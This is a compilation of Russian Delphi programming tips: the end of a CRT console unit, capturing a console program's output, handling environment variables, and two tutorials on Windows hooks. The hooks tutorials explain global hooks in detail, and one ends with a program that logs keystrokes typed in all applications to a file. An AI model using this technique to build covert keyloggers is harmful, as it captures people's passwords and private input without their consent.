  if (cMode and ExtOutConsoleMode) <> ExtOutConsoleMode then
  begin
    cMode := cMode or ExtOutConsoleMode;
    SetConsoleMode(hConsoleOutput, cMode);
  end;
  TextAttr  := CBI.wAttributes;
  StartAttr := CBI.wAttributes;
  LastMode  := CBI.wAttributes;

  Coord.X := CBI.srWindow.Left;
  Coord.Y := CBI.srWindow.Top;
  WindMin := (Coord.Y shl 8) or Coord.X;
  Coord.X := CBI.srWindow.Right;
  Coord.Y := CBI.srWindow.Bottom;
  WindMax := (Coord.Y shl 8) or Coord.X;
  ConsoleScreenRect := CBI.srWindow;

  SoundDuration := -1;
  OldCp := GetConsoleOutputCP;
  SetConsoleOutputCP(1250);
  {$IfDef CRT_EVENT}
  SetConsoleCtrlHandler(@ConsoleEventProc, True);
  {$EndIf}
  {$IfDef MOUSE_IS_USED}
  SetCapture(hConsoleInput);
  KeyPressed;
  {$EndIf}
  MouseInstalled := MouseReset;
  Window(1,1,80,25);
  ClrScr;
end;

{  }

procedure Done;
begin
  {$IfDef CRT_EVENT}
  SetConsoleCtrlHandler(@ConsoleEventProc, False);
  {$EndIf}
  SetConsoleOutputCP(OldCP);
  TextAttr := StartAttr;
  SetConsoleTextAttribute(hConsoleOutput, TextAttr);
  ClrScr;
  FlushInputBuffer;
  {$IfDef HARD_CRT}
  TTextRec(Input).Mode := fmClosed;
  TTextRec(Output).Mode := fmClosed;
  FreeConsole;
  {$Else}
  Close(Input);
  Close(Output);
  {$EndIf}
end;

initialization
  Init;

finalization
  Done;
  {$Endif win32}
end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как запустить консольное приложение и захватить его вывод на экран?

{
This function runs a program (console or batch) and adds its output
to Memo1
}

{....}
  private
    function RunCaptured(const _dirName, _exeName, _cmdLine: string): Boolean;

{....}

function TForm1.RunCaptured(const _dirName, _exeName, _cmdLine: string): Boolean;
var
  start: TStartupInfo;
  procInfo: TProcessInformation;
  tmpName: string;
  tmp: Windows.THandle;
  tmpSec: TSecurityAttributes;
  res: TStringList;
  return: Cardinal;
begin
  Result := False;
  try
    { Set a temporary file }
    tmpName := 'Test.tmp';
    FillChar(tmpSec, SizeOf(tmpSec), #0);
    tmpSec.nLength := SizeOf(tmpSec);
    tmpSec.bInheritHandle := True;
    tmp := Windows.CreateFile(PChar(tmpName),
           Generic_Write, File_Share_Write,
           @tmpSec, Create_Always, File_Attribute_Normal, 0);
    try
      FillChar(start, SizeOf(start), #0);
      start.cb          := SizeOf(start);
      start.hStdOutput  := tmp;
      start.dwFlags     := StartF_UseStdHandles or StartF_UseShowWindow;
      start.wShowWindow := SW_Minimize;
      { Start the program }
      if CreateProcess(nil, PChar(_exeName + ' ' + _cmdLine), nil, nil, True,
                       0, nil, PChar(_dirName), start, procInfo) then
      begin
        SetPriorityClass(procInfo.hProcess, Idle_Priority_Class);
        WaitForSingleObject(procInfo.hProcess, Infinite);
        GetExitCodeProcess(procInfo.hProcess, return);
        Result := (return = 0);
        CloseHandle(procInfo.hThread);
        CloseHandle(procInfo.hProcess);
        Windows.CloseHandle(tmp);
        { Add the output }
        res := TStringList.Create;
        try
          res.LoadFromFile(tmpName);
          Memo1.Lines.AddStrings(res);
        finally
          res.Free;
        end;
        Windows.DeleteFile(PChar(tmpName));
      end
      else
      begin
        Application.MessageBox(PChar(SysErrorMessage(GetLastError())),
          'RunCaptured Error', MB_OK);
      end;
    except
      Windows.CloseHandle(tmp);
      Windows.DeleteFile(PChar(tmpName));
      raise;
    end;
  finally
  end;
end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);
begin
  RunCaptured('C:\', 'cmd.exe', '/c dir');
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Переменные окружения

Cодержание раздела:

Как получить переменные окружения типа PATH и PROMPT?
Как установить переменные окружения? Updated!
Получение переменных среды


Как получить переменные окружения типа PATH и PROMPT?

Вариант 1:

Для этого используется API функция GetEnvironmentVariable.

GetEnvironmentVariable возвращает значения:

- В случае удачного выполнения функции, возвращаемое значение содержит количество символов, хранящихся в буфере, не включая последнего нулевого.

- Если указанная переменная окружения для текущего процесса не найдена, то возвращаемое значение равно нулю.

- Если буфер не достаточного размера, то возвращаемое значение равно требуемому размеру для хранения строки значения и завершающего нулевого символа.

function GetDOSEnvVar(const VarName: string): string;
var
  i: integer;
begin
  Result := '';
  try
    i := GetEnvironmentVariable(PChar(VarName), nil, 0);

    if i > 0 then
      begin
        SetLength(Result, i);
        GetEnvironmentVariable(Pchar(VarName), PChar(Result), i);
      end;
  except
    Result := '';
  end;
end;

Вариант 2:

procedure TMainFrm.AddVarsToMemo(Sender: TObject);
var
  p : pChar;
begin
  Memo1.Lines.Clear;
  Memo1.WordWrap := false;
  p := GetEnvironmentStrings;
  while p^ <> #0 do begin
    Memo1.Lines.Add(StrPas(p));
    inc(p, lStrLen(p) + 1);
  end;
FreeEnvironmentStrings(p);
end;

Взято из http://forum.sources.ru


Как установить переменные окружения?

Следующая простая подпрограмма создаёт новые значения в переменных окружения. Если переменной окружения не существует, то она создаётся. Если переменной окружения установить значение пустой строки, то переменная удаляется. Функция возвращает 0, если значение переменной установлено или переменная создана успешно, либо возвратит значение ошибки Windows вслучае неудачи. Обратите внимание, что размер пространства доступного для переменных окружения ограничен.

function SetEnvVarValue(const VarName,
  VarValue: string): Integer;
begin
  // Просто вызываем API функцию
  if Windows.SetEnvironmentVariable(PChar(VarName),
    PChar(VarValue)) then
    Result := 0
  else
    Result := GetLastError;
end;

ЗАМЕЧАНИЕ: данный способ позволяет делать изменения в переменных окружения только для текущего процесса либо для дочерних процессов, порождённых текущим.

Для того, чтобы передать какую-либо переменную окружения в дочерний процесс просто:

1) Создайте новую переменную окружения при помощи SetDOSEnvVar.
2) Запустите новую программу.

А вот как выглядит пример передачи текущих переменных окружения + переменной FOO=Bar в дочерний процесс:

{ snip ... }
var
  ErrCode: Integer;
begin
  ErrCode := SetEnvVarValue('FOO', 'Bar');
  if ErrCode = 0 then
    WinExec('MyChildProg.exe', SW_SHOWNORMAL);
  else
    ShowMessage(SysErrorMessage(ErrCode));
end;
{ ... end snip }

Взято из http://forum.sources.ru

{*********************************************}
{ Set Global Environment Function             }
{ Coder : Kingron,2002.8.6                    }
{ Bug Report : Kingron@163.net                }
{ Test OK For Windows 2000 Advance Server     }
{ Parameter:                                  }
{ Name : environment variable name            }
{ Value: environment variable Value           }
{ Ex: SetGlobalEnvironment('MyVar','OK')      }
{*********************************************}

function SetGlobalEnvironment(const Name, Value: string;
  const User: Boolean = True): Boolean;
resourcestring
  REG_MACHINE_LOCATION = 'System\CurrentControlSet\Control\Session Manager\Environment';
  REG_USER_LOCATION = 'Environment';
begin
  with TRegistry.Create do
    try
      if User then { User Environment Variable }
        Result := OpenKey(REG_USER_LOCATION, True)
      else { System Environment Variable }
      begin
        RootKey := HKEY_LOCAL_MACHINE;
        Result  := OpenKey(REG_MACHINE_LOCATION, True);
      end;
      if Result then
      begin
        WriteString(Name, Value); { Write Registry for Global Environment }
        { Update Current Process Environment Variable }
        SetEnvironmentVariable(PChar(Name), PChar(Value));
        { Send Message To All Top Window for Refresh }
        SendMessage(HWND_BROADCAST, WM_SETTINGCHANGE, 0, Integer(PChar('Environment')));
      end;
    finally
      Free;
    end;
end; { SetGlobalEnvironment }

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Получение переменных среды

procedure GetEnvironmentStrings(ss: TStrings);
{Переменные среды}
var
  ptr: PChar;
  s: string;
  Done: boolean;
begin
  ss.Clear;
  s := '';
  Done := FALSE;
  ptr := windows.GetEnvironmentStrings;
  while Done = false do begin
    if ptr^ = #0 then begin
      inc(ptr);
      if ptr^ = #0 then Done := TRUE
      else ss.Add(s);
      s := ptr^;
    end else s := s + ptr^;
    inc(ptr);
  end;
end;

Взято с http://delphiworld.narod.ru


Hooks

Cодержание раздела:

Hooks - аспекты реализации.
Создание ловушек в Delphi
Использование ловушек, блокировка мышки, клавиатуры и т.д.
Перехват API функций, на примере MessageBoxA
Использование HOOK в Дельфи
Interprocess communication на примере keyboard hook (статья) New!
Hook функций в собственном приложении New!


Hooks - аспекты реализации.

Автор: Aleksey Pavlov

Моя обзорная статья на тему вариантов использования динамически компонуемых библиотек (DLL) вызвала множество вопросов, большая часть которых касалась использования глобальных ловушек (Hook) и размещению разного рода ресурсов в DLL. О ресурсах поговорим в следующий раз, а пока попробуем разобраться с ловушками.
Сразу хочу сделать несколько оговорок: речь в дальнейшем пойдёт только о 32-х разрядной Windows и о глобальных ловушках, т.к. именно при их программировании возникает большинство ошибок; все примеры будут даваться на Delphi, т.к. примеров и описаний для любителей С++ достаточно.

Давайте сначала разберёмся почему, иногда, даже опытные программисты допускают ошибки при написании глобальных ловушек. Первая, и самая распространённая причина: многие программисты, перейдя от 16-ти разрядной к 32-х разрядной Windows, порой забывают об изолированности адресных пространств процессов, такая забывчивость прощается при написании локальных ловушек, в случае с глобальными она может стать фатальной (подробнее об этом рассказано дальше в статье). Второй причиной является то, что в SDK (да и в MSDN тоже) даётся недостаточно информации по данной тематике, а та что есть часто трактуется неверно. Третья причина… хотя, думаю, стоит остановиться пока на этом.

Дальнейшее повествование предполагает, что читатель знаком с основными принципами работы с DLL и хотя бы в общих чертах представляет механизм их написания.
Что же происходит в системе когда мы "ставим" ловушку и что это вообще такое - ловушка ?
Ловушка (hook) - это механизм Windows, позволяющий перехватывать события, предназначенные некоторому приложению, до того как эти события до этого приложения дойдут.

Функции-фильтры - это функции, получающие уведомления о произошедшем событии от ловушки.
В зависимости от типа ловушки функции-фильтры могут изменять события, отменять их или просто реагировать на них. Таким образом, когда мы говорим "установил ловушку" мы подразумеваем процесс прикрепления функции-фильтра к выбранному нами типу ловушки. Итак, когда мы в своей программе используем функцию SetWindowsHookEx мы прикрепляем функцию-фильтр, указатель на которую мы и передаём вторым параметром, пример:

SetWindowsHookEx(WH_SHELL, @ShellHook, HInstance, 0);

в данном случае ShellHook - это и есть функция-фильтр. В дальнейшем, под словосочетанием "установили ловушку" будем понимать присоединение функции-фильтра к ловушке.

Что же происходит после того, как мы установили глобальную ловушку ? Понимание следующего параграфа является ключом для понимания механизма работы ловушек Windows, располагающихся в DLL. Если вы не поймёте его, вернитесь и перечитайте заново и так до тех пор, пока всё не станет ясным.

Наш Process1 устанавливает глобальную ловушку из DLL находящейся в адресном пространстве (АП) нашего процесса (Process1). DLL, находящаяся в АП процесса1 имеет свои данные, обозначенные на рисунке как Dll data. Когда система посылает событие, на которое мы установили ловушку, в Process2, то в Process2 отображается код DLL, находящийся в первом процессе (Dll code), НО НЕ ДАННЫЕ ! Все данные, только что отображённой в Process2 DLL, инициализируются заново (т.е. равны 0, nil, False в зависимости от типа). То есть, Process2 знать не знает о существовании Process1, и всё что в нём находится никак не относится к АП первого процесса, из которого произошло отображение кода DLL. В библиотеки, находящиеся не в АП вашего процесса, можно посылать только процессо-независимые данные, такие как, к примеру, дескрипторы окон (под термином "посылка" в данном случае подразумевается использование функций PostMessage() и SendMessage()). (О смысле красных овалов на рисунке поговорим позже, сейчас не стоит обращать на них внимания).

Если выше прочитанное вам понятно, то продолжим наш разговор и рассмотрим, что происходит, когда мы устанавливаем вторую ловушку такого же типа, что и первая. При установке в системе двух одинаковых ловушек Windows выстраивает их в цепочку. Когда система посылает сообщение, на которое мы установили ловушки, то первой срабатывает последняя ловушка в цепочке, т.е. hook n (см. рисунок).

О том, что бы сообщение дошло до n-1 ловушки (hook n-1) должен позаботится сам программист. Вот на этом-то этапе очень часто возникают ошибки.
Для вызова следующей ловушки в цепочке ловушек в Windows используется функция CallNextHookEx, первым параметром которой является дескриптор текущей ловушки, получаемый функцией SetWindowsHookEx. Теперь внимание: мы установили ловушку в Process1, т.е. функция SetWindowsHookEx выполнялась в DLL, находящейся в АП Process1 (см. рис.1) и, соответственно, дескриптор установленной ловушки возвращаемый функцией SetWindowsHookEx принадлежит данным DLL, находящимся в АП Process1. Пусть в Process2 возникает событие на которое поставлена ловушка, тогда Dll из первого процесса проецируется на АП Process2, а данные DLL в Process2 инициализируются заново, и получается, что в Process2 в переменной, в которой "лежал" дескриптор поставленной ловушки в Process1, будет равен 0. Функция-фильтр Process2, отработав, должна будет передать сообщение дальше по цепочке ловушек, т.е. выполнить функцию CallNextHookEx, первым параметром которой должен быть дескриптор текущей ловушки, но в данных DLL, находящейся в Process2 нет этого дескриптора (переменная, которая должна содержать его содержит ноль). "Как же быть в таком случае ? Как же нам узнать дескриптор ловушки, поставленной в другом процессе, если сами процессы ничего не знают друг о друге ?" - спросите вы. На этот вопрос я отвечу чуть позже, а пока давайте поверхностно пробежимся по типам ловушек, хотя информация о типах полностью приведена в SDK.
Как мы уже знаем, ловушка устанавливается с помощью Win32 API функции

SetWindowsHookEx():
function SetWindowsHookEx(idHook: integer; lpfn: TFNHookProc; hmod: HINST; dwThreadID: DWORD): HHOOK; stdcall;

idHook: описывает тип устанавливаемой ловушки. Данный параметр может принимать одно из следующих значений:
Константа | Описание
WH_CALLWNDPROC | Фильтр процедуры окна. Функция-фильтр ловушки вызывается, когда процедуре окна посылается сообщение. Windows вызывает этот хук при каждом вызове функции SendMessage.
WH_CALLWNDPROCRET | Функция-фильтр, контролирующая сообщения после их обработки процедурой окна приемника.
WH_CBT | В литературе встречаются следующие названия для этого типа фильтров: "тренировочный" или "обучающий". Данная ловушка вызывается перед обработкой большинства сообщений окон, мыши и клавиатуры.
WH_DEBUG | Функция-фильтр, предназначенная для отладки. Функция-фильтр ловушки вызывается перед любой другой ловушкой Windows. Удобный инструмент для отладки и контроля ловушек.
WH_GETMESSAGE | Функция-фильтр обработки сообщений. Функция-фильтр ловушки вызывается всегда, когда из очереди приложения считывается любое сообщение.
WH_HARDWARE | Функция-фильтр, обрабатывающая сообщения оборудования. Функция-фильтр ловушки вызывается, когда из очереди приложения считывается сообщение оборудования.
WH_JOURNALPLAYBACK | Функция-фильтр вызывается, когда из очереди системы считывается любое сообщение. Используется для вставки в очередь системных событий.
WH_JOURNALRECORD | Функция-фильтр вызывается, когда из очереди системы запрашивается какое-либо событие. Используется для регистрации системных событий.
WH_KEYBOARD | Функция-фильтр "обработки" клавиатуры. Наверное, наиболее часто используемый тип ловушки. Функция-фильтр ловушки вызывается, когда из очереди приложения считывается сообщения wm_KeyDown или wm_KeyUp.
WH_KEYBOARD_LL | Низкоуровневый фильтр клавиатуры.
WH_MOUSE | Функция-фильтр, обрабатывающая сообщения мыши. Функция-фильтр ловушки вызывается, когда из очереди приложения считывается сообщение мыши.
WH_MOUSE_LL | Низкоуровневый фильтр мыши.
WH_MSGFILTER | Функция-фильтр специального сообщения. Функция-фильтр ловушки вызывается, когда сообщение должно быть обработано диалоговым окном приложения, меню или окном приложения.
WH_SHELL | Фильтр приложения оболочки. Функция-фильтр ловушки вызывается, когда создаются и разрушаются окна верхнего уровня или когда приложению-оболочке требуется стать активным.

Что бы упредить шквал писем в мой адрес, скажу сразу, что каждый, из вышеперечисленных, типов имеет свои особенности, о которых каждый может прочитать в SDK, MSDN или же найти их описание в Internet-e.
lpfn : это адрес функции-фильтра, которая является функцией обратного вызова. Функция-фильтр имеет тип TFNHookProc, определение которого выглядит следующим образом:
TFNHookProc = function (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall;
Значение каждого из параметров функции-фильтра ловушки изменяется в зависимости от типа устанавливаемой ловушки. За более подробными разъяснениями значений параметров обращайтесь к справке по Win32 API.
hmod: данный параметр должен иметь значение hInstance в EXE или DLL-файлах, в которых содержится функция-фильтр ловушки (напомню, что это функция обратного вызова). Если речь идёт о глобальных ловушках, то данный параметр может принимать только дескриптор DLL, из которой устанавливается ловушка. Причина очевидна - EXE-файл не может быть отображён на АП другого процесса, тогда как DLL-фалы специально созданы для этого. Подчеркну это обстоятельство ещё раз: глобальные ловушки могут располагаться только в DLL, но никак не в EXE файлах !
dwThreadID: данный параметр идентифицирует поток, с которым будет связана ловушка. Мы ведём речь о глобальных ловушках, поэтому данный параметр будет всегда равен 0, что означает, что ловушка будет связана со всеми потоками в системе.
Возвращаемое значение: функция SetWindowsHookEx возвращает дескриптор установленной ловушки, именно этот дескриптор нам и надо будет сделать доступным ВСЕМ экземплярам отображаемой DLL. Как это сделать я расскажу после небольшого примера, показывающего на практике необходимость сохранять дескриптор ловушки для того, что бы суметь вызвать предыдущую ловушку в цепочке.
Замечание: при установке двух ловушек разного типа, система создаст две цепочки ловушек. Т.е. каждому типу ловушки соответствует своя цепочка. Так при установке ловушки типа WH_MOUSE и WH_KEYBOARD обе эти ловушки будут находиться в разных цепочках и, соответственно, будут обрабатываться независимо друг от друга.
Для удаления функции-фильтра из очереди необходимо вызвать функцию UnhookWindowsHookEx. Данная функция принимает дескриптор ловушки, полученный функцией SetWindowsHookEx. Если удаление не удалось, то функция возвращает ноль, иначе не нулевое значение. В дальнейшем, под выражением "снять ловушку" будем подразумевать удаление функции-фильтра.
Теперь, когда вам известно как устанавливать ловушку и как её снимать, рассмотрим пару примеров, которые дадут наглядное представление об изолированности АП процессов и укажут на одну из самых распространённых ошибок.
Откройте каталог Example1, из прилагаемого к статье файла, далее зайдите в каталоги First и Second и скомпилируйте все имеющиеся в этих каталогах проекты. В итоге вы должны получить в одном каталоге файлы MainProg1.exe и hook_dll1.dll, и во втором - MainProg2.exe и hook_dll2.dll (не забудьте, что *.DLL файлы могут быть не видны, из-за того, что у вас в свойствах обозревателя выбран пункт "Не показывать скрытые и системные файлы" ) . Запустите MainProg1.exe и MainProg2.exe, расположите появившиеся окошки рядом. Теперь в окне MainProg1 нажмите "Load DLL and set hook", как только вы нажмёте на эту кнопку, ловушка типа WH_GETMESSAGE установится и теперь, когда какой либо процесс будет считывать сообщение из очереди, в этот процесс будет отображена hook_dll1.dll и выполнена функция-фильтр. При отображении в процесс этой DLL будет выводиться сообщение с именем модуля, из которого был загружен процесс, отобразивший эту DLL в своё АП. Если ловушка установлена успешно, - будет выведено соответствующее сообщение. Проделайте те же действия со второй формой (Example1/Process2). Теперь, после успешной установки двух ловушек, попробуйте кликнуть правой кнопкой мыши на какой-либо форме (но не на форме MainProg2). Вы увидите сообщение "HOOK2 working !", что означает что сработала вторая ловушка, которую мы установили последней и которая находится в конце очереди, но, несмотря на то, что в коде функции-фильтра второй ловушки мы пытались передать сообщение следующей ловушке (установленной нами из MainProg1) CallNextHookEx(SysHook, Code, wParam, lParam); первая ловушка не выполняется, потому что в процессе, которому принадлежит форма, на которой вы произвели клик, переменная SysHook будет равна нулю. Надеюсь, это понятно, если нет, - начинайте читать заново ;) Теперь попробуйте так же кликнуть правой кнопкой мыши на форму Example1/Process2 и вы увидите сначала сообщение "HOOK2 working !", а затем "HOOK1 working !". Почему ? - спросите вы. А потому, что в АП Process2 (в данных DLL) лежит дескриптор установленной из этого процесса ловушки и функция CallNextHookEx(SysHook, Code, wParam, lParam); работает как надо (SysHook не равна нулю, мы её сохранили в глобальных данных DLL - см. исходный код). Далее, попробуйте снять вторую ловушку (удалить функцию-фильтр из очереди) нажав на кнопку "TurnOff the hook". После того, как ловушка будет снята, попробуйте снова где-либо нажать правую кнопку мыши. При этом вы увидите, что ловушка, поставленная из первого приложения работает (будет появляться сообщение "HOOK1 working !"). Естественно, если вы, не сняв ловушку, закроете приложение, из которого она была установлена, ловушка будет уничтожена, а DLL выгружена, если более ни одним приложением не используется. ( Хотя, строго говоря, это не совсем так. Дело в том, что Windows использует механизм кэширования DLL в оперативной памяти. Делается это для того, что бы уменьшить накладные расходы на загрузку DLL с жёсткого диска в случае, если к этой DLL часто обращаются различные приложения, т.е. отображают эту DLL на своё АП. Более подробно об этом механизме можно почитать в специализированной литературе, для нас же, как для программистов, данное свойство ОС остаётся, как правило, прозрачным).
Думаю, теперь, разобравшись в исходных кодах библиотек из первого примера, вы поняли, как НЕ надо писать DLL, из которых вы устанавливаете глобальные ловушки. Представьте, что пользователь, использующий вашу программу, в которой задействованы глобальные ловушки, запустит другую программу, которая так же установит тот же вид ловушки, что и ваша, но установит её в конец очереди, в таком случае, если та, вторая программа, будет написана неправильно - ваша программа перестанет работать потому что вашей ловушке не будет передаваться сообщение из впереди стоящей. Это пример того, как некачественная работа одного программиста может испортить прекрасно выполненную работу другого.
Замечание: если вы работаете на Windows 2000, то вышеописанный пример будет работать иначе. Дело в том, что в Windows 2000 изменён механизм вызова ловушки, стоящей в очереди. Программисты Microsoft довели-таки его до ума, и в новой ОС он стал, по моему личному мнению, более логичен. В Windows 2000 если у вас имеется цепочка ловушек, то при выполнении функции CallNextHookEx(0, nCode, wParam, lParam ) вызывается следующая ловушка в цепочке, т.е. отпадает необходимость в передачи дескриптора, возвращаемого функцией SetWindowsHookEx. Таким образом, в первом примере будут вызываться обе ловушки и при клике на правую кнопку мыши вы увидите сообщение "HOOK2 working !", а затем и "HOOK1 working !". Рассмотрев и опробовав пример 2, вы увидите, что в Windows 2000 оба примера работают одинаково, хотя второй пример гораздо более сложен в плане реализации. Так как мы стремимся к тому, что бы наши программы были устойчивы в работе под любой версией Windows (имеются ввиду 32-х разрядные и выше), то в связи с этим я бы рекомендовал в ваших программах использовать метод, описанный далее в статье, а ещё лучше - делать проверку на ОС, под которой была запущена ваша программа и соответствующим образом работать с ловушками. К сожалению у меня нет описания, содержащего декларацию "новой" функции CallNextHookEx(), нововведение было обнаружено мной в результате тестирования своих программ на Windows 2000, поэтому возможны какие-то нюансы при работе с этой функцией. Лично я, работая с ловушками в среде Windows 2000, на другие изменения не натыкался, если кто-то располагает какой-либо интересной информацией по данному вопросу - буду признателен, если со мной ею поделятся.
Теперь поговорим о том, как избежать неприятных ситуаций, используя глобальные ловушки.
Для того, что бы все экземпляры DLL, находящиеся в разных процессах, имели доступ к дескриптору ловушки, надо выделить какую-то область, доступ к которой будут иметь все "желающие". Для этого воспользуемся одним из мощнейших механизмов Windows под названием "Файлы, отображённые в память" (Memory Mapped Files). В цели данной статьи не входит углубление в подробности работы с данным механизмом, так что если он кого-то заинтересует всерьёз - рекомендую почитать о нём в литературе, общие же понятия я постараюсь вкратце осветить. Механизм файлов, отображённых в память (MMF - Memory Mapped Files) позволяет резервировать определённую область АП системы Windows, для которой назначаются страницы физической памяти. Таким образом, с помощью MMF можно отображать в память не только файлы, но и данные, ссылаясь на них из своих программ с помощью указателей. В первом приближении работу механизма MMF можно представить следующим образом: Process1 создаёт отображение, которое связывает с некими данными (будь то файл на диске или значение неких переменных в самом Process1) и может изменять отображённые данные; затем Process2 так же отображает некие свои данные в тоже отображение, что и Process1, таким образом, изменения, внесённые Process1 в отображённые данные, будут видны Process2 и наоборот (см. рис.1 - красный овал c именем Global Data и есть зарезервированное под совместные нужды двух процессов АП). Данное приближение, вообще говоря, грубое, потому что всё намного сложнее, но для наших "нужд" этого будет вполне достаточно. Мы не будем создавать никаких временных файлов для передачи информации между процессами, мы воспользуемся файлом подкачки Windows (файл страничного обмена), таким образом, нам не придётся ни создавать ни уничтожать файлы, а придётся просто создать некоторое АП, которое будет доступно нашим приложениям и которое будет автоматически освобождаться системой, когда в нём отпадёт необходимость. К тому же, ясно, что работа с файлом подкачки куда быстрее, чем с обычным файлом, хранящимся на диске. Таким образом, к рассмотренному вами ранее Example1 можно применить следующий сценарий: при загрузки вашей программой (MainProg1.exe) библиотеки hook_dll1.dll эта библиотека создаёт отображённый в память файл, в котором сохраняет значение дескриптора установленной ловушки; затем некий процесс, в котором произошло событие, на которое была установлена ловушка, отображает на своё АП код hook_dll1.dll и уже новый экземпляр hook_dll1.dll, находящийся в АП другого процесса использует то же отображение, что и библиотека, из который была установлена ловушка, т.е. будет иметь доступ к сохранённому значению дескриптора установленной ловушки. Таким образом, вызов функции CallNextHookEx(Hook_Handle, Code, wParam, lParam); будет происходить вполне корректно, т.к. значение Hook_Handle будет содержать не 0, как в примере1, а значение, возвращённое функцией SetWindowsHookEx из первого экземпляра DLL. Возможно, данные объяснения кажутся вам запутанными, но после просмотра примера и повторного прочтения этих объяснений всё встанет на свои места.
Теперь пару слов о программной реализации всего вышесказанного

CreateFileMapping - Создаёт объект файлового отображения. Данная функция возвращает указатель (handle) на объект файлового отображения.

MapViewOfFile - Данная функция отображает образ объекта файлового отображения на АП процесса, из которого она была вызвана. Первым параметром данной функции является результат выполнения функции CreateFileMapping(). Результатом работы данной функции является указатель на начало выделенного АП (уже в том процессе, из которого была вызвана данная функция). См. рис.1. - красные овалы в Process1 и Process2 под названием GD1 и GD2 (Global Data 1/2). Следует отметить, что для различных процессов, использующих экземпляры одной и той же DLL, адреса выделенных областей будут различными (хотя могут и совпадать, но это совпадение носит вероятностный характер), хотя данные, на которые они будут ссылаться, одни и те же !

UnmapViewOfFile - Данная функция закрывает отображённый в память файл и освобождает его дескриптор. При удачном закрытие функция возвращает ненулевое значение и 0 в случае неудачи.

За подробной информацией о параметрах вышеописанных функций обращайтесь к SDK, а так же разберитесь в примере, который будет разобран ниже.
Замечание: первым параметром функции CreateFileMapping() должен быть передан дескриптор файла, которого мы собираемся отобразить. Т.к. мы собираемся отображать данные в файл подкачки, то следует передавать значение $FFFFFFFF или DWORD(-1), что соответствует тому же значению; но т.к. грядёт эра 64-разрядных систем, стоит использовать значение INVALID_HANDLE_VALUE, которое будет в 64 разрядной системе равно $FFFFFFFFFFFFFFFF соответственно. Для тех, кто переходил с ранних версий Delphi на более поздние (к примеру с Delphi2 на Delphi4) те, возможно, сталкивались с такого рода проблемами в своих программах.
Так как мы будем создавать именованный объект файлового отображения, то последним параметром функции CreateFileMapping() передадим имя объекта, которое впоследствии будут использовать другие процессы для ссылки на ту же область памяти. Следует упомянуть о том, что создаваемый таким образом объект должен иметь фиксированный размер, т.е. не может его изменять по ходу программы.
Теперь мы владеем всеми необходимыми знаниями для рассмотрения второго примера. Откройте каталог Example2 и выполните те же действия, что и в первом примере, предварительно внимательно разобравшись в исходных кодах. После того как вы запустите оба приложения и установите из них две функции-фильтра одного типа, попробуйте кликнуть правой кнопкой мыши на любом из окон и вы увидите, что теперь отрабатывают обе установленные ловушки, независимо от того, на каком из окон произошло нажатие кнопки мыши (т.е. несмотря на то, из какого экземпляра DLL выполняется вызов функции CallNextHookEx() ). Таким образом, когда какое-либо приложение будет отображать на своё АП DLL, в которой находится функция-фильтр, этот экземпляр DLL будет иметь доступ к данным, отображённым в память из Process1 или Process2, в зависимости от DLL. Думаю, после столь подробных объяснений всё должно быть понятно.
В завершении напишем программу, которая будет устанавливать ловушку типа WH_KEYBOARD и записывать в файл значения нажатых клавиш во всех приложениях (программа будет накапливать в буфере значения нажатых клавиш и как только их количество превысит 40 - все значения будут выведены в соответствующее окно формы). Попутно, в данном примере, новички могут найти ответы на многие вопросы, часто задаваемые в различных форумах. Все объяснения будут даваться в виде комментариев к исходному коду. Откройте каталог Example3, в нём вы найдёте исходные коды библиотеки и главной программы, - разберитесь с ними, а затем откомпилируйте и сами попробуйте программу в действии.
Благодарю Юрия Зотова за оказанную поддержку.

Список использованной литературы:
Microsoft Win32 Software Development Kit.
Стив Тейксейра и Ксавье Пачеко, "Delphi5. Руководство разработчика. Том 1. Основные методы и технологии".
Kyle Marsh, "Hooks in Win32" (in the original).
Dr. Joseph M. Newcomer, "Hooks and DLLs" (in the original).

Moscow Power Engineering Institute (Technical University)
Faculty of Nuclear Power Plants
27.02.02

© Written by Aleksey Pavlov. All rights reserved. 2002 ©

Взято из http://forum.sources.ru


Создание ловушек в Delphi

Автор: Chris Cummings (http://wibblovia.topcities.com)

Рано или поздно каждый программист сталкивается с таким понятим как ловушки. Чтобы приступить к ипользованию ловушек необходимо обзавестись windows SDK, который можно так же скачать с сайта Microsoft. В прилагаемом к статье архиве содержатся два проекта: hooks.dpr - это пример приложения работающего с ловушками, а hookdll.dpr - собственно сама DLL.
Что такое ловушки (Hooks)?
Проще говоря, ловушка - это функция, которая является частью DLL или часть Вашего приложения, при помощи которой можно контролировать 'происходящее' внутри окошек операционной системы. Идея состоит в том, чтобы написать функцию, которая будет вызываться каждый раз, когда будет возникать определённое событие - например, когда пользователь нажмёт клавишу или переместит мышку. Ловушки были задуманы Microsoft в первую очередь, чтобы облегчить программистам отладку приложений. Однако существует множество способов использования ловушек - например, чаще всего при помощи ловушек пишутся клавиатурные шпионы.

Итак, существует два типа ловушек - глобальные и локальные. Локальная ловушка отслеживает только те события, которые происходят только в одной программе (или потоке). Глобальная ловушка отслеживает события во всей системе (во всех потоках). Оба типа ловушек устанавливаются одинаково, однако единственно отличие заключается в том, что локальная ловушка вызывается в пределах Вашего приложения, в то время как глобальную ловушку необходимо хранить и вызывать из отдельной DLL.

Процедуры ловушки
Далее следует краткое описание каждой процедуры и структуры, необходимой для ловушки.
функция The SetWindowsHookEx
Функция SetWindowsHookEx необходима для установки ловушки. Давайте посмотрим на аргументы данной функции:
Name Type Description
idHook Integer Число, представляющее тип ловушки - например WH_KEYBOARD
lpfn TFNHookProc Адрес в памяти функции ловушки
hMod Hinst Дескриптор dll в которой находится функция. Если это локальная ловушка, то этот параметр 0.
dwThreadID Cardinal 'id потока', который Ваша программа будет контролировать. Если это глобальная ловушка, то параметр должен быть 0.

SetWindowsHookEx возвращает дескриптор (т.е. идентификатор) текущей ловушки, который можно использовать в функции UnhookWindowsHookEx для последующего удаления ловушки.

Функция hook
Функция hook это процедура, которая вызывает в случае, если необходимое нам событие происходит. Например, если установлена ловушка типа WH_KEYBOARD, то окно будет передавать в ловушку информацию о том, какая клавища была нажата. Для Вашей процедуры hook необходимы следующие аргументы:
Name Type Description
Code Integer Указывает на то, что означают следующие два параметра
wParam word Параметр размером в 1 слово (word)
lParam longword Параметр размером в 2 слова

Функция hook возвращает значение типа longword.

Функция CallNextHookEx
